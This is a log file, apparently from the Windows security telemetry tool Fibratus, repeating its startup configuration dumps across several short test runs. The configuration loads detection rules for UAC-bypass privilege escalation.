enable-audit-api=>true enable-handle=>false enable-thread=>true enable-image=>true max-buffers=>36 stack-enrichment=>true enable-net=>true buffer-size=>512 enable-fileio=>true enable-mem=>true enable-threadpool=>false enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s min-buffers=>16 enable-dns=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true level=>info max-age=>0 formatter=>text max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ exchange-type=>topic durable=>false delivery-mode=>transient passive=>false timeout=>5s enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 vhost=>/ exchange=>fibratus routing-key=>fibratus] elasticsearch=>[ template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 trace-log=>false healthcheck-timeout=>5s timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false healthcheck=>true index-name=>fibratus flush-period=>1s enabled=>false gzip-compression=>false] http=>[ tls-insecure-skip-verify=>false method=>POST enable-gzip=>false enabled=>false timeout=>5s endpoints=>[] serializer=>json]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-registry=>false enabled=>false fastscan=>true skip-files=>false excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T23:49:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:49:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:50:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T23:50:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:50:11+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:51:04+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T23:51:04+01:00 level=info msg=bootstrapping with pid 2976. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T23:51:04+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ to=>[] port=>25 use-template=>true enabled=>false content-type=>text/html] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-handle=>false enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false min-buffers=>16 buffer-size=>512 enable-thread=>true enable-audit-api=>true enable-mem=>true stack-enrichment=>true enable-image=>true flush-interval=>1s enable-dns=>false enable-net=>true enable-registry=>true enable-fileio=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 max-backups=>15 level=>info formatter=>text] + output ......................... [ elasticsearch=>[ enabled=>false bulk-workers=>1 template-name=>fibratus timeout=>5s healthcheck=>true flush-period=>1s index-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false gzip-compression=>false healthcheck-interval=>10s trace-log=>false healthcheck-timeout=>5s] http=>[ endpoints=>[] tls-insecure-skip-verify=>false serializer=>json method=>POST enabled=>false enable-gzip=>false timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ enabled=>false delivery-mode=>transient timeout=>5s durable=>false vhost=>/ url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic passive=>false routing-key=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-sections=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-allocs=>false fastscan=>true scan-timeout=>10s excluded-procs=>[] enabled=>false skip-files=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T23:51:04+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:51:06+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T23:51:50+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T23:51:50+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T23:51:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:11:23+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:11:23+01:00 level=info msg=bootstrapping with pid 2348. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:11:23+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false enable-vamap=>true enable-image=>true enable-fileio=>true enable-mem=>true enable-registry=>true enable-net=>true enable-dns=>false enable-thread=>true min-buffers=>16 enable-threadpool=>false buffer-size=>512 stack-enrichment=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-age=>0 max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ serializer=>json enabled=>false timeout=>5s endpoints=>[] method=>POST tls-insecure-skip-verify=>false enable-gzip=>false] elasticsearch=>[ sniff=>false flush-period=>1s template-name=>fibratus trace-log=>false healthcheck=>true enabled=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 index-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s gzip-compression=>false timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ exchange=>fibratus routing-key=>fibratus durable=>false enabled=>false tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient vhost=>/ exchange-type=>topic timeout=>5s url=>amqp://localhost:5672] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false excluded-procs=>[] excluded-files=>[] fastscan=>true skip-files=>false skip-allocs=>false enabled=>false skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:11:23+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:11:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:13:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T00:13:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:13:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:13:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:13:55+01:00 level=info msg=bootstrapping with pid 5632. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:13:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html enabled=>false use-template=>true port=>25 to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ max-buffers=>36 enable-vamap=>true enable-threadpool=>false buffer-size=>512 stack-enrichment=>true enable-mem=>true enable-handle=>false enable-net=>true flush-interval=>1s enable-fileio=>true min-buffers=>16 enable-registry=>true enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-audit-api=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 max-backups=>15 log-stdout=>true max-age=>0 level=>info] + output ......................... [ amqp=>[ passive=>false exchange-type=>topic enabled=>false vhost=>/ timeout=>5s durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus delivery-mode=>transient] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 healthcheck=>true timeout=>5s flush-period=>1s gzip-compression=>false healthcheck-timeout=>5s healthcheck-interval=>10s trace-log=>false sniff=>false index-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ enabled=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s endpoints=>[] enable-gzip=>false method=>POST]] + pe ............................. [ read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false excluded-procs=>[] skip-files=>false skip-registry=>false fastscan=>true skip-mmaps=>false enabled=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:13:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:13:57+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:14:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T00:14:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:14:07+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:14:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:14:56+01:00 level=info msg=bootstrapping with pid 1184. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:14:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ to=>[] use-template=>true content-type=>text/html enabled=>false port=>25] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-image=>true enable-dns=>false enable-thread=>true enable-net=>true enable-fileio=>true enable-handle=>false enable-mem=>true enable-registry=>true max-buffers=>36 enable-threadpool=>false min-buffers=>16 enable-vamap=>true enable-audit-api=>true buffer-size=>512 stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-backups=>15 max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ http=>[ enable-gzip=>false method=>POST serializer=>json enabled=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[]] elasticsearch=>[ healthcheck-interval=>10s index-name=>fibratus enabled=>false healthcheck-timeout=>5s trace-log=>false flush-period=>1s template-name=>fibratus healthcheck=>true gzip-compression=>false timeout=>5s sniff=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200]] amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false passive=>false vhost=>/ durable=>false url=>amqp://localhost:5672 exchange=>fibratus delivery-mode=>transient timeout=>5s exchange-type=>topic] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-files=>false skip-registry=>false fastscan=>true excluded-files=>[] enabled=>false skip-allocs=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:14:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:14:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:15:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T00:15:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:15:30+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T00:23:46+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:23:46+01:00 level=info msg=bootstrapping with pid 17824. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:23:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false port=>25 to=>[] use-template=>true content-type=>text/html] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-registry=>true enable-mem=>true enable-image=>true max-buffers=>36 stack-enrichment=>true enable-dns=>false enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-vamap=>true flush-interval=>1s enable-net=>true enable-threadpool=>false enable-thread=>true enable-audit-api=>true min-buffers=>16 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true formatter=>text max-size=>100 level=>info max-age=>0] + output ......................... [ http=>[ serializer=>json endpoints=>[] timeout=>5s enable-gzip=>false method=>POST tls-insecure-skip-verify=>false enabled=>false] elasticsearch=>[ trace-log=>false gzip-compression=>false enabled=>false sniff=>false timeout=>5s servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s bulk-workers=>1 healthcheck=>true healthcheck-interval=>10s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ tls-insecure-skip-verify=>false vhost=>/ exchange=>fibratus enabled=>false timeout=>5s url=>amqp://localhost:5672 passive=>false routing-key=>fibratus exchange-type=>topic delivery-mode=>transient durable=>false]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false scan-timeout=>10s skip-allocs=>false skip-mmaps=>false excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-procs=>[] fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:23:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:23:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:28:40+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:28:40+01:00 level=info msg=bootstrapping with pid 5080. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:28:40+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ content-type=>text/html enabled=>false port=>25 use-template=>true to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ stack-enrichment=>true enable-thread=>true max-buffers=>36 enable-registry=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-fileio=>true flush-interval=>1s buffer-size=>512 enable-handle=>false enable-threadpool=>false enable-mem=>true min-buffers=>16 enable-vamap=>true enable-dns=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 log-stdout=>true level=>info max-size=>100 formatter=>text max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] amqp=>[ enabled=>false tls-insecure-skip-verify=>false passive=>false timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient routing-key=>fibratus vhost=>/ durable=>false exchange=>fibratus exchange-type=>topic] http=>[ tls-insecure-skip-verify=>false enabled=>false serializer=>json enable-gzip=>false endpoints=>[] method=>POST timeout=>5s] elasticsearch=>[ trace-log=>false healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] bulk-workers=>1 timeout=>5s sniff=>false healthcheck=>true flush-period=>1s index-name=>fibratus enabled=>false template-name=>fibratus]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-allocs=>false excluded-procs=>[] excluded-files=>[] skip-registry=>false fastscan=>true skip-files=>false scan-timeout=>10s skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T00:28:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:28:44+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T00:29:20+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T00:29:20+01:00 level=info msg=bootstrapping with pid 2644. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T00:29:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-mem=>true max-buffers=>36 min-buffers=>16 enable-thread=>true enable-fileio=>true enable-vamap=>true flush-interval=>1s enable-registry=>true enable-net=>true enable-image=>true enable-dns=>false buffer-size=>512 stack-enrichment=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 level=>info max-size=>100 max-backups=>15] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] template-name=>fibratus healthcheck-interval=>10s sniff=>false flush-period=>1s bulk-workers=>1 timeout=>5s trace-log=>false gzip-compression=>false index-name=>fibratus enabled=>false healthcheck=>true] eventlog=>[ level=>info enabled=>false] amqp=>[ durable=>false passive=>false enabled=>false routing-key=>fibratus vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient] http=>[ timeout=>5s enable-gzip=>false serializer=>json enabled=>false method=>POST tls-insecure-skip-verify=>false endpoints=>[]]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false excluded-procs=>[] fastscan=>true excluded-files=>[] enabled=>false skip-registry=>false skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 